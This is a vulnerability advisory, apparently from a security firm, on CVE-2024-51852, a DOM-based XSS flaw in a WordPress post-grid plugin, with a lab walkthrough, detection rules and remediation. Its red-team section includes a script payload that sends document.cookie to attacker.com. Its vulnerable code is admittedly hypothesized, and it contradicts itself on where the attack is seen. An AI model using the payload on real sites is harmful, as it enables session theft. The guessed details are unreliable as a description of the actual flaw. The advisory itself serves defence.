CVE-2024-51852

Executive Summary

CVE-2024-51852 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Dynamic Post Grid Elementor Addon" by Maidul, affecting versions up to and including 1.0.6. The vulnerability stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. This is a client-side attack vector, typically requiring user interaction (e.g., clicking a crafted link). The CVSS score is 6.5 (Medium), with a low EPSS probability of exploitation (0.0%). No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the WordPress dashboard or via direct download are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched over a network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a malicious link or visit a crafted page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploits and low EPSS score reduce immediate risk. However, the vulnerability is unpatched, making it a persistent threat for users of the plugin.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the malicious payload is executed entirely on the client side without being sent to the server. The plugin likely processes user-controlled input (e.g., via URL parameters or DOM manipulation) and injects it into the page without proper sanitization. For example, a parameter like ?post_id=123 might be reflected in the DOM and executed as JavaScript if it contains <script> tags.

The attack flow:

1. Attacker crafts a malicious URL containing a JavaScript payload.
2. Victim clicks the link or visits a page with the injected payload.
3. The plugin's JavaScript code reads the payload from the DOM (e.g., document.location.hash or document.URL) and writes it to the page using innerHTML or similar methods.
4. The browser executes the injected script, allowing the attacker to steal cookies, redirect the user, or perform other malicious actions.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable snippet might look like:

// Vulnerable code
var postId = window.location.hash.substring(1);
document.getElementById('post-grid').innerHTML = '<div>' + postId + '</div>';

A patched version would sanitize the input:

// Patched code
var postId = window.location.hash.substring(1);
var safePostId = document.createTextNode(postId);
document.getElementById('post-grid').appendChild(safePostId);

Exploitation & Lab Setup

Red Team

Objective: Demonstrate DOM-Based XSS exploitation.

Setup:

1. Install WordPress with the vulnerable plugin (version 1.0.6).
2. Create a page using the Elementor addon that includes the dynamic post grid.

Exploit:

1. Craft a malicious URL:

   http://target-site.com/?post_id=<script>alert('XSS')</script>
   

2. Send the link to a victim (simulated via browser).
3. The script executes, showing an alert box.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor web server logs for unusual URL parameters containing <script> or onerror= patterns.
• Use browser-based XSS filters (e.g., X-XSS-Protection header).
• Implement Content Security Policy (CSP) to block inline scripts.

Mitigation:

• Disable or remove the vulnerable plugin until a patch is released.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing ?post_id=<script> or similar patterns.
• Host: Presence of the plugin directory /wp-content/plugins/dynamic-post-grid-elementor-addon/.
• Browser: Execution of unexpected JavaScript (e.g., alert() or fetch() to unknown domains).
• Logs: Server logs showing GET /?post_id=<script>alert(1)</script>.

Detection Engineering

YARA Rule

rule CVE_2024_51852_DOM_XSS {
    meta:
        description = "Detects DOM-Based XSS in Dynamic Post Grid Elementor Addon"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51852"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: DOM-Based XSS in Dynamic Post Grid Elementor Addon
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential DOM-Based XSS attacks against CVE-2024-51852
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of script tags in URL parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51852 DOM-Based XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"?post_id="; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the "Dynamic Post Grid Elementor Addon" plugin until a patch is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block XSS payloads in URL parameters.
3. Long-term: Monitor the plugin's official page for updates. Apply the patch as soon as it becomes available.
4. User Education: Train users to avoid clicking suspicious links and to report unusual behavior.
5. Code Review: If you are a developer, ensure all user input is sanitized using textContent or createTextNode instead of innerHTML.

Valters IT
Securing Digital Frontiers